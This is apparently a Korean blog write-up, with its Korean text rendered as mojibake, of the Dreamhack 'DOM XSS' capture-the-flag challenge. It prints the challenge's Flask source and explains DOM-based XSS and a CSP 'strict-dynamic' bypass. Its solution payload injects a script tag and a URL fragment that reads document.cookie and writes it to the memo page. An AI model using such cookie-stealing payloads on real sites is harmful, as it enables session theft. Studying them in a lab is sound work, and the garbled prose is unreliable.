(1) ๋ฌธ์ ์ดํด๋ณด๊ธฐ
์ฒซ ํ๋ฉด์ด๋ค.
vuln(xss) page ๋ฅผ ๋๋ฅด๋ฉด
์ด์ ๊ฐ์ ํ์ด์ง๊ฐ ๋์จ๋ค.
memo๋ฅผ ๋๋ฅด๋ฉด
"hello"๋ผ๋ ๋ฌธ๊ตฌ๊ฐ ์ ํ ํ์ด์ง๊ฐ ๋์จ๋ค.
flag๋ฅผ ๋๋ฌ๋ณด๋ฉด
์๋ง ๋ต์ ์ ๋ ฅํ ์ ์๋ ์์์ด ๋์ค๋ ๊ฒ ๊ฐ๋ค.
(2) ๋ฌธ์ ํ์ด (์๋)
๋จผ์ , vuln(xss) page๋ฅผ ์ดํด๋ณด๊ฒ ๋ค.
์ด๋ฏธ์ง ํ๊ทธ๊ฐ ์ฌ์ฉ๋์๋ค๋ ๊ฒ์ ์ถ์ธกํ ์ ์์๋ค.
ctrl + u ๋ฅผ ๋๋ฌ ์์ค์ฝ๋๋ฅผ ํ์ธํด๋ณด์๋ค.
url ์ฃผ์๋ฅผ ๋ณด๋ ์ด๋ฏธ์ง ํ๊ทธ๊ฐ ์ฌ์ฉ๋ ๊ฒ์ ๋ณผ ์ ์์๋ค.
์ฐธ๊ณ ๋ก "%20"์ ์คํ์ด์ค ํ ์นธ์ url ์ธ์ฝ๋ฉํ ๊ฒฐ๊ด๊ฐ์ด๋ค.
๋ ์ด์ ์์๋ผ ์ ์๋ ๊ฒ์ด ์์ด์ ๋ค๋ฅธ ํ์ด์ง์ ๋ํด์๋ ์์๋ณด๊ธฐ๋ก ํ๋ค.
memo ํ์ด์ง๋ฅผ ๋๊ฐ๋ค๊ฐ ๋ค์ ๋ค์ด์ค๋ฉด ๋ฐฉ๋ฌธํ ํ์์ ๋ฐ๋ผ "hello"๋ผ๋ ๋ฌธ๊ตฌ๊ฐ ๋์ด๋์๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์์ค ์ฝ๋๋ฅผ ์ดํด๋ณด์๋ค.
์ด๊ฒ์ ๊ฒ ์ดํด๋ณด๋ค๊ฐ, url ์ฃผ์๊ฐ /memo?memo=hello ๋ก ๋์ด์๊ธธ๋,
/memo?memo=flag ๋ผ๊ณ ์ ๋ ฅํ๊ณ ์ด๋ํด๋ณด์๋๋ ๋ฉ๋ชจ์ "flag"๋ ์ถ๊ฐ๋ ๊ฒ์ ๋ณผ ์ ์์๋ค.
๋ง์ง๋ง์ผ๋ก flag ํ์ด์ง๋ฅผ ๋ค์ ์ดํด๋ณด๊ฒ ๋ค.
์ด ํ์์
์๊น vuln(xss) page ๋ฅผ ๋๋ ์ ๋ ์ด๋ํ๊ฒ ๋๋ ํ์ด์ง์ url ์ฃผ์์ ํ์์ด ๋์ผํ๋ค.
๊ทธ๋์ ๊ทธ๋๋ก ๋ฃ์ด๋ดค๋๋, "good"์ด๋ผ๋ ๋ฉ์ธ์ง๊ฐ ์ ํ ํ์ ์ฐฝ์ด ๋จ๊ณ ๋ค๋ฅธ ๋ณํ๋ ์์๋ค.
๋ฌธ์ ํ์ผ์ ๋ฐ์์ ์ฌ๋ฌ๊ฐ์ง๋ฅผ ์ดํด๋ณด์๋ค.
์ฌ๋ฌ๊ฐ์ง ํ์ผ์ด ๋ค์ด์๋ ํด๋๋ฅผ ๋ฐ์ ์ ์์๋ค.
๊ทธ ์ค์ app.py๋ผ๋ ํ์ผ์ด ๋์ ๋์๋ค.
๋ด์ฉ์ ์ดํด๋ณด์๋ค.
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, name, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
return read_url(url, cookie)
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", nonce=nonce, param=param)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
name = request.form.get("name")
if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
์ด์ ๊ฐ์ ๋ด์ฉ์ด์๋ค.
๊ทธ๋ฐ๋ฐ ํด์์ ํ ์ค ๋ชจ๋ฅด๊ฒ ์ด์ ์ฌ๊ธฐ์๋ถํฐ ๊ตฌ๊ธ๋ง์ ํตํด ๋ฌธ์ ๋ฅผ ํ์๋ค.
(3) ๊ฐ๋ ์ ๋ฆฌ
์ฐ์ ๋ฌธ์ ์ด๋ฆ์ด DOM XSS์ด๋, DOM XSS๊ฐ ๋ฌด์์ธ์ง ์์๋ณด๋๋ก ํ์.
DOM(Document object Model)
์น์์ ๊ฐ์ฅ ๋ง์ด ์ฌ์ฉํ๋ ์ธ์ด ์ค ํ๋์ธ HTML(Hyper Text Markup Language) ๋ฑ์ผ๋ก ์์ฑ๋ ๋ฌธ์๋ฅผ ๊ณ์ธต์ผ๋ก ํํํ์ฌ ๋ฌธ์ ๋ด์ ํค๋(Head), ํผ(Form)๊ณผ ๊ฐ์ ๊ฐ์ฒด๋ฅผ ๋ณํ, ์ ์ดํ ์ ์๋๋ก ํ๋ ์ธํฐํ์ด์ค์ด๋ค. ์ธํฐ๋ท ์ฌ์ดํธ์์ ํ์ ๊ฐ์ ์ ๋ฉ์ผ ์ฃผ์๋ฅผ ์๋ชป ์ ๋ ฅํ๊ฑฐ๋, ์ ํ๋ฒํธ์ ์ซ์๊ฐ ์๋ ๋ฌธ์๋ฅผ ์ ๋ ฅํ ๊ฒฝ์ฐ ๋ฐ์ํ๋ ๊ฒฝ๊ณ ์ฐฝ์ด ๋ํ์ ์ธ ์ฌ๋ก์ด๋ค. DOM์ ์ํด HTML๋ก ์์ฑ๋ ๋ฌธ์ ๋ด์ ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฌํ ํํ์ ๊ฒ์ฆ์ด๋ ์ ์ด๊ฐ ๊ฐ๋ฅํ๊ฒ ๋๋ค. ์ปดํ์ผ ์์ด ์คํํ ์ ์๋ ์ธํฐํ๋ฆฌํฐ(Interpreter) ๋ฐฉ์์ ๋ํ์ ์ธ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด ์ค ํ๋์ธ ์๋ฐ์คํฌ๋ฆฝํธ(JavaScript)์์ HTML๋ก ์์ฑ๋ ๋ฌธ์์ ์ ๊ทผํ ๋ ์ฃผ๋ก ์ฐ์ธ๋ค.
[๋ค์ด๋ฒ ์ง์๋ฐฑ๊ณผ] DOM [Document Object Model] (๋์ฐ๋ฐฑ๊ณผ ๋ํผ๋์, ๋์ฐ๋ฐฑ๊ณผ)
DOM์ ๊ตฌ์กฐ
์นํ์ด์ง์ ๊ฐ์ฒด๋ค์ ์ฃผ๋ก ํธ๋ฆฌ(Tree) ํ์์ ๊ณ์ธตํ๋ ๊ตฌ์กฐ๋ก ๊ตฌ์ฑํ์ฌ ์์ฐจ์ ์ผ๋ก ์ ๊ทผํ๋๋ฐ, ์ด๋ฌํ ํธ๋ฆฌ๊ตฌ์กฐ์ ๊ฐ ์์๋ฅผ ๋
ธ๋(Node)๋ผ๊ณ ํ๋ค. ๋ธ๋ผ์ฐ์ ์์ HTML๋ก ์์ฑ๋ ์น ํ์ด์ง๋ฅผ ๋ก๋ฉ(Loading)ํ ๋ ํธ๋ฆฌ ๊ตฌ์กฐ์ ๊ฐ ๋
ธ๋๋ฅผ ์ธ์ํด์ ํ๋์ ๊ฑฐ๋ํ DOM์ ํ์ฑํ๊ฒ ๋๊ณ , ์๋ฐ์คํฌ๋ฆฝํธ ๋ฑ์ ์ด์ฉํด์ ํด๋น DOM์ ๋
ธ๋์ ์ ๊ทผํ ์ ์๊ฒ ๋๋ค. ๊ณ์ธต์ ๊ตฌ์กฐ๋ฅผ ๊ฐ์ง๊ธฐ ๋๋ฌธ์ ํธ๋ฆฌ ๊ตฌ์กฐ์ ๊ฐ ๋
ธ๋๋ฅผ ์์ฐจ์ ์ผ๋ก ์ ๊ทผํด์ ์์ฑ์ ๋ณ๊ฒฝํ๊ฑฐ๋ ์ ์ดํ ์ ์๋ ๊ฒ์ด๋ค.
[๋ค์ด๋ฒ ์ง์๋ฐฑ๊ณผ] DOM [Document Object Model] (๋์ฐ๋ฐฑ๊ณผ ๋ํผ๋์, ๋์ฐ๋ฐฑ๊ณผ)
DOM์ ์ฌ๋ก
์ธํฐ๋ท ์นํ์ด์ง์ ๊ธฐ๋ณธ์ ์ผ๋ก ํฌํจ ๋๋ ๋ํ์ ์ธ ๊ธฐ๋ฅ์ธ ํด๋ฆญ(Click)์ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด ํ
์คํธ๋ ์ด๋ฏธ์ง์ "onclick" ์ด๋ฒคํธ๋ฅผ ์ ์ฉํ๊ณ , ์ค์ ๋ฒํผ์ ํด๋ฆญํ์์ ๊ฒฝ์ฐ์๋ ์๋ฐ์คํฌ๋ฆฝํธ ๋ฑ์ผ๋ก ํด๋ฆญ์ ๋ํ ํจ์๋ฅผ ํธ์ถํ๋ ๋ฐฉ์์ด๋ค.
button id="click_button" onclick="Method_Invocation()"
ํด๋น ๋ฒํผ์ ํด๋ฆญํ์์ ๋ Method_Invocation()์ด๋ผ๋ ํจ์๋ฅผ ํธ์ถํ๊ณ , ํธ์ถ๋ ํจ์์์๋ DOM์ ์๋ ํน์ ๋
ธ๋์ ์์ฑ์ ์ ๊ทผํด์ ์ํ๋ ๋์์ ์ธํฐํ์ด์ค ํํ๋ก ์ ๊ณตํ๊ฒ ๋๋ค.
[๋ค์ด๋ฒ ์ง์๋ฐฑ๊ณผ] DOM [Document Object Model] (๋์ฐ๋ฐฑ๊ณผ ๋ํผ๋์, ๋์ฐ๋ฐฑ๊ณผ)
XSS(Cross Site Scripting) ๊ณต๊ฒฉ
์ฌ์ดํธ ๊ฐ ์คํฌ๋ฆฝํ (๋๋ ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ , ์๋ฌธ ๋ช ์นญ cross-site scripting, ์๋ฌธ ์ฝ์ด XSS)์ ์น ์ดํ๋ฆฌ์ผ์ด์ ์์ ๋ง์ด ๋ํ๋๋ ์ทจ์ฝ์ ์ ํ๋๋ก ์น์ฌ์ดํธ ๊ด๋ฆฌ์๊ฐ ์๋ ์ด๊ฐ ์น ํ์ด์ง์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ ์ทจ์ฝ์ ์ด๋ค.
์ฃผ๋ก ์ฌ๋ฌ ์ฌ์ฉ์๊ฐ ๋ณด๊ฒ ๋๋ ์ ์ ๊ฒ์ํ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ด๊ธด ๊ธ์ ์ฌ๋ฆฌ๋ ํํ๋ก ์ด๋ฃจ์ด์ง๋ค. ์ด ์ทจ์ฝ์ ์ ์น ์ดํ๋ฆฌ์ผ์ด์ ์ด ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ ฅ ๋ฐ์ ๊ฐ์ ์ ๋๋ก ๊ฒ์ฌํ์ง ์๊ณ ์ฌ์ฉํ ๊ฒฝ์ฐ ๋ํ๋๋ค. ์ด ์ทจ์ฝ์ ์ผ๋ก ํด์ปค๊ฐ ์ฌ์ฉ์์ ์ ๋ณด(์ฟ ํค, ์ธ์ ๋ฑ)๋ฅผ ํ์ทจํ๊ฑฐ๋, ์๋์ผ๋ก ๋น์ ์์ ์ธ ๊ธฐ๋ฅ์ ์ํํ๊ฒ ํ ์ ์๋ค. ์ฃผ๋ก ๋ค๋ฅธ ์น์ฌ์ดํธ์ ์ ๋ณด๋ฅผ ๊ตํํ๋ ์์ผ๋ก ์๋ํ๋ฏ๋ก ์ฌ์ดํธ ๊ฐ ์คํฌ๋ฆฝํ ์ด๋ผ๊ณ ํ๋ค.
XSS ๊ณต๊ฒฉ์ ์ข ๋ฅ
- Stored XSS
- Reflected XSS
- DOM based-XSS โก๏ธ ์ด ๋ฌธ์ ์์ ๋ค๋ฃฐ XSS ๊ณต๊ฒฉ
- Universal XSS
DOM-BASED XSS
- ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ์์ DOM ํ๊ฒฝ์ ์์ ํ ๊ฒฐ๊ณผ ๊ณต๊ฒฉ ํ์ด๋ก๋๊ฐ ์คํ๋๋ ๋ฐฉ์
- ํ์ด์ง ์์ฒด(HTTP ์๋ต)๋ ๋ณ๊ฒฝ๋์ง ์์ง๋ง, ํ์ด์ง์ ํฌํจ๋ ํด๋ผ์ด์ธํธ ์ธก ์ฝ๋๋ DOM ํ๊ฒฝ์์ ๋ฐ์ํ ์ ์์ ์ธ ๋ณ์กฐ๋ก ์ธํด ๊ณต๊ฒฉ ๊ตฌ๋ฌธ์ด ์คํ๋จ
- Stored์ Reflected๊ฐ ์๋ฒ ์ธก ์ดํ๋ฆฌ์ผ์ด์ ์ทจ์ฝ์ ์ผ๋ก ์ธํ ๊ณต๊ฒฉ์ธ ๋ฐ๋ฉด, DOM-based XSS๋ ์๋ฒ์ ๊ด๊ณ ์์ด ๋ธ๋ผ์ฐ์ ์์ ๋ฐ์
[๊ณต๊ฒฉ ํ๋ฆ]
์น ๋ธ๋ผ์ฐ์ ์ ์๋ต ํ์ด์ง์ ํฌํจ๋ ์๋ฐ์คํฌ๋ฆฝํธ๊ฐ ๋์
→ DOM ๊ฐ์ฒด ์คํ
→ URL์ ํฌํจ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ ๋์
[4] ๋ฌธ์ ํ์ด
app.py
CSP๊ฐ ์ ์ฉ๋์ด ์๊ณ 'strict-dynamic' ๊ฐ ๋ณด์ธ๋ค.
์ด๋ '์ ๋ขฐํ ์ ์๋ ์คํฌ๋ฆฝํธ์ ์ํด ๋์ ์ผ๋ก ์ถ๊ฐ๋ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ฉํ๋๋ก ์ง์ํ๋ ๊ฒ'์ด๋ผ๊ณ ํ๋ค.
์คํฌ๋ฆฝํธ ํ๊ทธ์ id๋ฅผ name์ผ๋ก ํ ๋ค #๋ค๋ก ์ ์ฑ ์ฝ๋๋ฅผ ์ฃผ์ ํ์ฌ ์ฟ ํค๋ฅผ ํ์ทจํ๋ฉด ๋๋ ๋ฌธ์ ๋ผ๊ณ ํ๋ค.
(์ ์ฟ ํค์ flag ๊ฐ์ด ์๋ ๊ฒ์ธ์ง๋ ์ดํดํ์ง ๋ชปํ๋ค.)
<script id="name"></script>
- param์ผ๋ก id="name"์ธ <script> ํ๊ทธ๋ฅผ ์ฝ์ ํ๋ค.
#location.href='/memo?memo='+document.cookie;//
- name์ผ๋ก ๋ค์๊ณผ ๊ฐ์ด ๊ฑด๋ค์ฃผ๋ฉด ๋๋ค
- ์ ๋ขฐ ๊ฐ๋ฅํ(nonce ๊ฐ ์ธ์ฆ๋) ์คํฌ๋ฆฝํธ์ ์ํด ๋์ ์ผ๋ก ์ถ๊ฐ๋๋ฏ๋ก(using innerHTML) ์ ํ ๋ฌธ์ ๋์ง ์๋๋ค
flag ๊ฐ์ ์ฐพ์ ์ ์์๋ค! ๊ทธ๋ฐ๋ฐ ๋ฌธ์ ๋ฅผ ์ดํดํ๋ ค๊ณ ๋ ธ๋ ฅํด๋ ์ด๋ ต๊ฒ ๋๊ปด์ก๋ค...
์น์ ๋ํ ๊ณต๋ถ๋ฅผ ํ๋ค๋ณด๋ฉด ๋์ค์ ์ด ๋ฌธ์ ๋ฅผ ์๋ฒฝํ๊ฒ ์ดํดํ๋ ๋ ์ด ์ค์ง ์์๊น ์ถ๋ค...
[5] ์ฐธ๊ณ
https://keyme2003.tistory.com/entry/dreamhack-DOM-XSS
https://minseosavestheworld.tistory.com/148
'SWLUG > ์น ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[xss-game] Level 5: Breaking protocol (3) | 2023.11.06 |
---|---|
[Dreamhack/๋๋ฆผํต] xss-1 (0) | 2023.11.05 |
[los.rubiya.kr] orc (1) | 2023.10.07 |
[los.rubiya.kr] goblin (1) | 2023.10.06 |
[los.rubiya.kr] cobolt (0) | 2023.10.06 |